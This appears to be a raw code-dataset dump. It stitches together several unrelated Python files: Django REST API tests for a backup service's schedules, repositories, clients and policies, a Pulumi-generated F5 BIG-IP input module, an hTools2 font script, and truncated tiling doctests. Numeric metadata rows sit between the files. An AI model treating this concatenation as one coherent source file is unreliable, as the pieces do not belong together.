self.assertEqual(response.data['name'], "Test Create Schedule")
self.assertTrue(response.data['enabled'])
def test_api_v1_access_schedules_after_creation(self):
url = reverse('api:schedule_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"name": "Test List Schedule", "crontab": "1 1 1 1 * *"}
response = self.client.post(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
url = reverse('api:schedule_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertNotEqual(response.data['count'], 0)
def test_api_v1_access_schedules_update_schedule(self):
url = reverse('api:schedule_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"name": "Test Update Schedule", "crontab": "2 2 2 2 * *"}
response = self.client.post(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
id = response.data['id']
url = response.data['url']
url = reverse('api:schedule_detail', kwargs={'version': 'v1', 'pk': response.data['id']})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"enabled": False}
response = self.client.patch(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['id'], id)
self.assertEqual(response.data['crontab'], "2 2 2 2 * *")
self.assertEqual(response.data['name'], "Test Update Schedule")
self.assertEqual(response.data['url'], url)
self.assertFalse(response.data['enabled'])
def test_api_v1_access_schedules_delete_schedule(self):
url = reverse('api:schedule_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
count_before_delete = response.data['count']
url = reverse('api:schedule_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"name": "Test Delete Schedule", "crontab": "1 1 1 1 * *"}
response = self.client.post(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
url = reverse('api:schedule_detail', kwargs={'version': 'v1', 'pk': response.data['id']})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.delete(url, format='json')
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
url = reverse('api:schedule_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
count_after_delete = response.data['count']
self.assertEqual(count_before_delete, count_after_delete)
def test_api_v1_get_repository_1(self):
url = reverse('api:repository_detail', kwargs={'version': 'v1', 'pk': 1})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['id'], 1)
self.assertEqual(response.data['name'], "Demo Repository")
self.assertFalse(response.data['enabled'])
self.assertEqual(response.data['path'], "/tmp/repository")
self.assertEqual(response.data['repository_key'], "0123456789abcdef")
def test_api_v1_access_repositories_create_repository(self):
url = reverse('api:repository_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"name": "Test Create Repository", "path": "/dev/null", "repository_key": "abcedf02"}
response = self.client.post(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
self.assertEqual(response.data['name'], "Test Create Repository")
self.assertEqual(response.data['path'], "/dev/null")
self.assertTrue(response.data['enabled'])
def test_api_v1_access_repositories_after_creation(self):
url = reverse('api:repository_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"name": "Test List Repository", "path": "/dev/log", "repository_key": "abcedf03"}
response = self.client.post(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
url = reverse('api:repository_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertNotEqual(response.data['count'], 0)
def test_api_v1_access_repositories_update_repository(self):
url = reverse('api:repository_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"name": "Test Update Repository", "path": "/dev/log", "repository_key": "abcedf04"}
response = self.client.post(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
id = response.data['id']
url = response.data['url']
url = reverse('api:repository_detail', kwargs={'version': 'v1', 'pk': response.data['id']})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"enabled": False, "path": "/dev/null"}
response = self.client.patch(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['id'], id)
self.assertEqual(response.data['path'], "/dev/null")
self.assertEqual(response.data['name'], "Test Update Repository")
self.assertEqual(response.data['url'], url)
self.assertFalse(response.data['enabled'])
def test_api_v1_access_repositories_delete_repository(self):
url = reverse('api:repository_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
count_before_delete = response.data['count']
url = reverse('api:repository_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"name": "Test Delete Repository", "path": "/dev/none", "repository_key": "abcedf05"}
response = self.client.post(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
url = reverse('api:repository_detail', kwargs={'version': 'v1', 'pk': response.data['id']})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.delete(url, format='json')
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
url = reverse('api:repository_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
count_after_delete = response.data['count']
self.assertEqual(count_before_delete, count_after_delete)
def test_api_v1_get_client_1(self):
url = reverse('api:client_detail', kwargs={'version': 'v1', 'pk': 1})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['id'], 1)
self.assertEqual(response.data['hostname'], "localhost")
self.assertFalse(response.data['enabled'])
self.assertEqual(response.data['ip'], "")
self.assertFalse(response.data['ready'])
def test_api_v1_access_clients_create_client(self):
url = reverse('api:client_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"hostname": "localhost.localdomain"}
response = self.client.post(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
self.assertEqual(response.data['hostname'], "localhost.localdomain")
self.assertTrue(response.data['enabled'])
def test_api_v1_access_clients_after_creation(self):
url = reverse('api:client_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"hostname": "localhost.contoso"}
response = self.client.post(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
url = reverse('api:client_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertNotEqual(response.data['count'], 0)
def test_api_v1_access_clients_update_client(self):
url = reverse('api:client_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"hostname": "localhost.example"}
response = self.client.post(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
id = response.data['id']
url = response.data['url']
url = reverse('api:client_detail', kwargs={'version': 'v1', 'pk': response.data['id']})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"enabled": False}
response = self.client.patch(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['id'], id)
self.assertEqual(response.data['hostname'], "localhost.example")
self.assertEqual(response.data['url'], url)
self.assertFalse(response.data['enabled'])
def test_api_v1_access_clients_delete_client(self):
url = reverse('api:client_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
count_before_delete = response.data['count']
url = reverse('api:client_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"hostname": "localhost.test"}
response = self.client.post(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
url = reverse('api:client_detail', kwargs={'version': 'v1', 'pk': response.data['id']})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.delete(url, format='json')
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
url = reverse('api:client_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
count_after_delete = response.data['count']
self.assertEqual(count_before_delete, count_after_delete)
def test_api_v1_get_policy_1(self):
url = reverse('api:policy_detail', kwargs={'version': 'v1', 'pk': 1})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['id'], 1)
self.assertEqual(response.data['name'], "Demo Policy")
self.assertFalse(response.data['enabled'])
self.assertEqual(response.data['policy_type'], "rootfs")
def test_api_v1_get_policy_vmmmodule(self):
url = reverse('api:policy_vmmodule', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data, [])
def test_api_v1_get_policy_calendar_1(self):
url = reverse('api:policy_calendar', kwargs={'version': 'v1', 'pk': 1})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
import datetime
import tzcron
import dateutil
import pytz
now = datetime.datetime.now(pytz.utc)
start_month = now.replace(day=1, hour=0, minute=0, second=0, microsecond=0)
year = now.year
if start_month.month == 12:
year += 1
relative_month = dateutil.relativedelta.relativedelta(months=1)
end_month = datetime.datetime(year, (start_month + relative_month).month, 1) - datetime.timedelta(days=1)
end_month = end_month.replace(hour=23, minute=59, second=50, tzinfo=pytz.utc)
schedule = tzcron.Schedule("0 5 * * MON *", pytz.utc, start_month, end_month)
expectedCalendar = [s.isoformat() for s in schedule]
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data, expectedCalendar)
def test_api_v1_access_policies_create_policy(self):
url = reverse('api:policy_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"name": "Test Create Policy", "policy_type": "config", "schedule": 1, "repository": 1, "clients": [1]}
response = self.client.post(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
self.assertEqual(response.data['name'], "Test Create Policy")
self.assertEqual(response.data['policy_type'], "config")
self.assertTrue(response.data['enabled'])
def test_api_v1_access_policies_after_policy(self):
url = reverse('api:policy_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"name": "Test List Policy", "policy_type": "config", "schedule": 1, "repository": 1, "clients": [1]}
response = self.client.post(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
url = reverse('api:policy_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertNotEqual(response.data['count'], 0)
def test_api_v1_access_policies_update_policy(self):
url = reverse('api:policy_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"name": "Test Update Policy", "policy_type": "config", "schedule": 1, "repository": 1, "clients": [1]}
response = self.client.post(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
id = response.data['id']
url = response.data['url']
url = reverse('api:policy_detail', kwargs={'version': 'v1', 'pk': response.data['id']})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"enabled": False}
response = self.client.patch(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['id'], id)
self.assertEqual(response.data['name'], "Test Update Policy")
self.assertEqual(response.data['url'], url)
self.assertFalse(response.data['enabled'])
def test_api_v1_access_policies_delete_policy(self):
url = reverse('api:policy_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
count_before_delete = response.data['count']
url = reverse('api:policy_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"name": "Test Delete Policy", "policy_type": "config", "schedule": 1, "repository": 1, "clients": [1]}
response = self.client.post(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
url = reverse('api:policy_detail', kwargs={'version': 'v1', 'pk': response.data['id']})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.delete(url, format='json')
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
url = reverse('api:policy_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
count_after_delete = response.data['count']
self.assertEqual(count_before_delete, count_after_delete)
| 53.438525 | 118 | 0.68019 | 3,334 | 26,078 | 5.133173 | 0.057588 | 0.102548 | 0.151864 | 0.103366 | 0.890382 | 0.870808 | 0.834755 | 0.824354 | 0.821257 | 0.797885 | 0 | 0.018022 | 0.174438 | 26,078 | 487 | 119 | 53.548255 | 0.776906 | 0.010047 | 0 | 0.663415 | 0 | 0 | 0.134405 | 0.005773 | 0 | 0 | 0 | 0 | 0.331707 | 1 | 0.097561 | false | 0.126829 | 0.02439 | 0 | 0.131707 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
ebab223f11085d83979c01887d8202031a21b35b | 6,232 | py | Python | sdk/python/pulumi_f5bigip/sys/_inputs.py | pulumi/pulumi-f5bigip | 4bce074f8bd7cb42f359ef4814ca5b437230fd1c | [
"ECL-2.0",
"Apache-2.0"
] | 4 | 2018-12-21T23:30:33.000Z | 2021-10-12T16:38:27.000Z | sdk/python/pulumi_f5bigip/sys/_inputs.py | pulumi/pulumi-f5bigip | 4bce074f8bd7cb42f359ef4814ca5b437230fd1c | [
"ECL-2.0",
"Apache-2.0"
] | 61 | 2019-01-09T01:50:19.000Z | 2022-03-31T15:27:17.000Z | sdk/python/pulumi_f5bigip/sys/_inputs.py | pulumi/pulumi-f5bigip | 4bce074f8bd7cb42f359ef4814ca5b437230fd1c | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2019-10-05T10:36:30.000Z | 2019-10-05T10:36:30.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = [
'IAppListArgs',
'IAppMetadataArgs',
'IAppTableArgs',
'IAppTableRowArgs',
'IAppVariableArgs',
]
@pulumi.input_type
class IAppListArgs:
def __init__(__self__, *,
encrypted: Optional[pulumi.Input[str]] = None,
value: Optional[pulumi.Input[str]] = None):
if encrypted is not None:
pulumi.set(__self__, "encrypted", encrypted)
if value is not None:
pulumi.set(__self__, "value", value)
@property
@pulumi.getter
def encrypted(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "encrypted")
@encrypted.setter
def encrypted(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "encrypted", value)
@property
@pulumi.getter
def value(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "value")
@value.setter
def value(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "value", value)
@pulumi.input_type
class IAppMetadataArgs:
def __init__(__self__, *,
persists: Optional[pulumi.Input[str]] = None,
value: Optional[pulumi.Input[str]] = None):
if persists is not None:
pulumi.set(__self__, "persists", persists)
if value is not None:
pulumi.set(__self__, "value", value)
@property
@pulumi.getter
def persists(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "persists")
@persists.setter
def persists(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "persists", value)
@property
@pulumi.getter
def value(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "value")
@value.setter
def value(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "value", value)
@pulumi.input_type
class IAppTableArgs:
def __init__(__self__, *,
column_names: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
encrypted_columns: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
rows: Optional[pulumi.Input[Sequence[pulumi.Input['IAppTableRowArgs']]]] = None):
"""
:param pulumi.Input[str] name: Name of the iApp.
"""
if column_names is not None:
pulumi.set(__self__, "column_names", column_names)
if encrypted_columns is not None:
pulumi.set(__self__, "encrypted_columns", encrypted_columns)
if name is not None:
pulumi.set(__self__, "name", name)
if rows is not None:
pulumi.set(__self__, "rows", rows)
@property
@pulumi.getter(name="columnNames")
def column_names(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
return pulumi.get(self, "column_names")
@column_names.setter
def column_names(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "column_names", value)
@property
@pulumi.getter(name="encryptedColumns")
def encrypted_columns(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "encrypted_columns")
@encrypted_columns.setter
def encrypted_columns(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "encrypted_columns", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Name of the iApp.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def rows(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['IAppTableRowArgs']]]]:
return pulumi.get(self, "rows")
@rows.setter
def rows(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['IAppTableRowArgs']]]]):
pulumi.set(self, "rows", value)
@pulumi.input_type
class IAppTableRowArgs:
def __init__(__self__, *,
rows: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None):
if rows is not None:
pulumi.set(__self__, "rows", rows)
@property
@pulumi.getter
def rows(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
return pulumi.get(self, "rows")
@rows.setter
def rows(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "rows", value)
@pulumi.input_type
class IAppVariableArgs:
def __init__(__self__, *,
encrypted: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
value: Optional[pulumi.Input[str]] = None):
"""
:param pulumi.Input[str] name: Name of the iApp.
"""
if encrypted is not None:
pulumi.set(__self__, "encrypted", encrypted)
if name is not None:
pulumi.set(__self__, "name", name)
if value is not None:
pulumi.set(__self__, "value", value)
@property
@pulumi.getter
def encrypted(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "encrypted")
@encrypted.setter
def encrypted(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "encrypted", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Name of the iApp.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def value(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "value")
@value.setter
def value(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "value", value)
| 31.16 | 98 | 0.622112 | 722 | 6,232 | 5.209141 | 0.102493 | 0.152087 | 0.181867 | 0.157937 | 0.807764 | 0.779048 | 0.767349 | 0.734113 | 0.710183 | 0.657006 | 0 | 0.000212 | 0.243742 | 6,232 | 199 | 99 | 31.316583 | 0.797793 | 0.050064 | 0 | 0.666667 | 1 | 0 | 0.069724 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.197279 | false | 0 | 0.034014 | 0.068027 | 0.346939 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
ebafdc746b9c7d4e183a775c06c1a52912338ab2 | 191 | py | Python | Lib/Scripts/glyphs/anchors/transfer.py | gferreira/hTools2 | a75a671b81a0f4ce5c82b2ad3e2f971ca3e3d98c | [
"BSD-3-Clause"
] | 11 | 2015-01-06T15:43:56.000Z | 2019-07-27T00:35:20.000Z | Lib/Scripts/glyphs/anchors/transfer.py | gferreira/hTools2 | a75a671b81a0f4ce5c82b2ad3e2f971ca3e3d98c | [
"BSD-3-Clause"
] | 2 | 2017-05-17T10:11:46.000Z | 2018-11-21T21:43:43.000Z | Lib/Scripts/glyphs/anchors/transfer.py | gferreira/hTools2 | a75a671b81a0f4ce5c82b2ad3e2f971ca3e3d98c | [
"BSD-3-Clause"
] | 4 | 2015-01-10T13:58:50.000Z | 2019-12-18T15:40:14.000Z | # [h] transfer anchors dialog
import hTools2.dialogs.glyphs.anchors_transfer
reload(hTools2.dialogs.glyphs.anchors_transfer)
hTools2.dialogs.glyphs.anchors_transfer.transferAnchorsDialog()
| 27.285714 | 63 | 0.853403 | 22 | 191 | 7.272727 | 0.454545 | 0.2625 | 0.375 | 0.50625 | 0.65625 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016667 | 0.057592 | 191 | 6 | 64 | 31.833333 | 0.872222 | 0.141361 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
ebd450b47db39d5f19361cdf095f48b901aa181a | 14,414 | py | Python | tiling.py | dnuffer/large_neural_style | f627894732096dc801694853345bdba911c93d6a | [
"Apache-2.0"
] | 15 | 2018-02-11T16:56:19.000Z | 2021-12-29T21:34:33.000Z | tiling.py | dnuffer/large_neural_style | f627894732096dc801694853345bdba911c93d6a | [
"Apache-2.0"
] | 4 | 2018-06-08T00:33:51.000Z | 2021-01-01T12:39:06.000Z | tiling.py | dnuffer/large_neural_style | f627894732096dc801694853345bdba911c93d6a | [
"Apache-2.0"
] | 3 | 2019-11-08T09:37:06.000Z | 2020-08-05T09:36:53.000Z | """
>>> image_shape = (1, 3, 3, 4)
>>> tile_shape = (1, 3, 2, 2)
>>> tile_shape_4x4 = (1, 3, 4, 4)
>>> canvas_shape(image_shape, tile_shape)
(1, 3, 5, 6)
>>> canvas_shape(image_shape, (1, 3, 4, 4))
(1, 3, 8, 8)
>>> canvas_shape((1, 3, 3, 5), (1, 3, 4, 4))
(1, 3, 8, 10)
>>> canvas_shape((1, 3, 5, 5), (1, 3, 4, 4))
(1, 3, 10, 10)
>>> a = np.arange(start=1, stop=3*2*3+1).reshape((1, 3, 2, 3))
>>> pad_image(a, ((0, 0), (0, 0), (1,1), (1,1)))
array([[[[ 5, 4, 5, 6, 5],
[ 2, 1, 2, 3, 2],
[ 5, 4, 5, 6, 5],
[ 2, 1, 2, 3, 2]],
<BLANKLINE>
[[11, 10, 11, 12, 11],
[ 8, 7, 8, 9, 8],
[11, 10, 11, 12, 11],
[ 8, 7, 8, 9, 8]],
<BLANKLINE>
[[17, 16, 17, 18, 17],
[14, 13, 14, 15, 14],
[17, 16, 17, 18, 17],
[14, 13, 14, 15, 14]]]])
>>> pad_image_for_tiling(a, (1, 3, 2, 2))
array([[[[ 5, 4, 5, 6, 5],
[ 2, 1, 2, 3, 2],
[ 5, 4, 5, 6, 5],
[ 2, 1, 2, 3, 2]],
<BLANKLINE>
[[11, 10, 11, 12, 11],
[ 8, 7, 8, 9, 8],
[11, 10, 11, 12, 11],
[ 8, 7, 8, 9, 8]],
<BLANKLINE>
[[17, 16, 17, 18, 17],
[14, 13, 14, 15, 14],
[17, 16, 17, 18, 17],
[14, 13, 14, 15, 14]]]])
>>> a2 = np.arange(start=1, stop=3*3*3+1).reshape((1, 3, 3, 3))
>>> pad_image_for_tiling(a2, (1, 3, 2, 2))
array([[[[ 5, 4, 5, 6, 5],
[ 2, 1, 2, 3, 2],
[ 5, 4, 5, 6, 5],
[ 8, 7, 8, 9, 8],
[ 5, 4, 5, 6, 5]],
<BLANKLINE>
[[14, 13, 14, 15, 14],
[11, 10, 11, 12, 11],
[14, 13, 14, 15, 14],
[17, 16, 17, 18, 17],
[14, 13, 14, 15, 14]],
<BLANKLINE>
[[23, 22, 23, 24, 23],
[20, 19, 20, 21, 20],
[23, 22, 23, 24, 23],
[26, 25, 26, 27, 26],
[23, 22, 23, 24, 23]]]])
>>> pad_image_for_tiling(a, (1, 3, 4, 4))
array([[[[ 3, 2, 1, 2, 3, 2, 1, 2],
[ 6, 5, 4, 5, 6, 5, 4, 5],
[ 3, 2, 1, 2, 3, 2, 1, 2],
[ 6, 5, 4, 5, 6, 5, 4, 5],
[ 3, 2, 1, 2, 3, 2, 1, 2],
[ 6, 5, 4, 5, 6, 5, 4, 5]],
<BLANKLINE>
[[ 9, 8, 7, 8, 9, 8, 7, 8],
[12, 11, 10, 11, 12, 11, 10, 11],
[ 9, 8, 7, 8, 9, 8, 7, 8],
[12, 11, 10, 11, 12, 11, 10, 11],
[ 9, 8, 7, 8, 9, 8, 7, 8],
[12, 11, 10, 11, 12, 11, 10, 11]],
<BLANKLINE>
[[15, 14, 13, 14, 15, 14, 13, 14],
[18, 17, 16, 17, 18, 17, 16, 17],
[15, 14, 13, 14, 15, 14, 13, 14],
[18, 17, 16, 17, 18, 17, 16, 17],
[15, 14, 13, 14, 15, 14, 13, 14],
[18, 17, 16, 17, 18, 17, 16, 17]]]])
>>> b = np.arange(3*3*4).reshape((1, 3, 3, 4))
>>> pad_image_for_tiling(b, (1, 3, 2, 2))
array([[[[ 5, 4, 5, 6, 7, 6],
[ 1, 0, 1, 2, 3, 2],
[ 5, 4, 5, 6, 7, 6],
[ 9, 8, 9, 10, 11, 10],
[ 5, 4, 5, 6, 7, 6]],
<BLANKLINE>
[[17, 16, 17, 18, 19, 18],
[13, 12, 13, 14, 15, 14],
[17, 16, 17, 18, 19, 18],
[21, 20, 21, 22, 23, 22],
[17, 16, 17, 18, 19, 18]],
<BLANKLINE>
[[29, 28, 29, 30, 31, 30],
[25, 24, 25, 26, 27, 26],
[29, 28, 29, 30, 31, 30],
[33, 32, 33, 34, 35, 34],
[29, 28, 29, 30, 31, 30]]]])
>>> pad_image_for_tiling(b, (1, 3, 4, 4))
array([[[[10, 9, 8, 9, 10, 11, 10, 9],
[ 6, 5, 4, 5, 6, 7, 6, 5],
[ 2, 1, 0, 1, 2, 3, 2, 1],
[ 6, 5, 4, 5, 6, 7, 6, 5],
[10, 9, 8, 9, 10, 11, 10, 9],
[ 6, 5, 4, 5, 6, 7, 6, 5],
[ 2, 1, 0, 1, 2, 3, 2, 1],
[ 6, 5, 4, 5, 6, 7, 6, 5]],
<BLANKLINE>
[[22, 21, 20, 21, 22, 23, 22, 21],
[18, 17, 16, 17, 18, 19, 18, 17],
[14, 13, 12, 13, 14, 15, 14, 13],
[18, 17, 16, 17, 18, 19, 18, 17],
[22, 21, 20, 21, 22, 23, 22, 21],
[18, 17, 16, 17, 18, 19, 18, 17],
[14, 13, 12, 13, 14, 15, 14, 13],
[18, 17, 16, 17, 18, 19, 18, 17]],
<BLANKLINE>
[[34, 33, 32, 33, 34, 35, 34, 33],
[30, 29, 28, 29, 30, 31, 30, 29],
[26, 25, 24, 25, 26, 27, 26, 25],
[30, 29, 28, 29, 30, 31, 30, 29],
[34, 33, 32, 33, 34, 35, 34, 33],
[30, 29, 28, 29, 30, 31, 30, 29],
[26, 25, 24, 25, 26, 27, 26, 25],
[30, 29, 28, 29, 30, 31, 30, 29]]]])
>>> a5x5 = np.arange(3*5*5).reshape((1, 3, 5, 5))
>>> pad_image_for_tiling(a5x5, (1, 3, 4, 4))
array([[[[12, 11, 10, 11, 12, 13, 14, 13, 12, 11],
[ 7, 6, 5, 6, 7, 8, 9, 8, 7, 6],
[ 2, 1, 0, 1, 2, 3, 4, 3, 2, 1],
[ 7, 6, 5, 6, 7, 8, 9, 8, 7, 6],
[12, 11, 10, 11, 12, 13, 14, 13, 12, 11],
[17, 16, 15, 16, 17, 18, 19, 18, 17, 16],
[22, 21, 20, 21, 22, 23, 24, 23, 22, 21],
[17, 16, 15, 16, 17, 18, 19, 18, 17, 16],
[12, 11, 10, 11, 12, 13, 14, 13, 12, 11],
[ 7, 6, 5, 6, 7, 8, 9, 8, 7, 6]],
<BLANKLINE>
[[37, 36, 35, 36, 37, 38, 39, 38, 37, 36],
[32, 31, 30, 31, 32, 33, 34, 33, 32, 31],
[27, 26, 25, 26, 27, 28, 29, 28, 27, 26],
[32, 31, 30, 31, 32, 33, 34, 33, 32, 31],
[37, 36, 35, 36, 37, 38, 39, 38, 37, 36],
[42, 41, 40, 41, 42, 43, 44, 43, 42, 41],
[47, 46, 45, 46, 47, 48, 49, 48, 47, 46],
[42, 41, 40, 41, 42, 43, 44, 43, 42, 41],
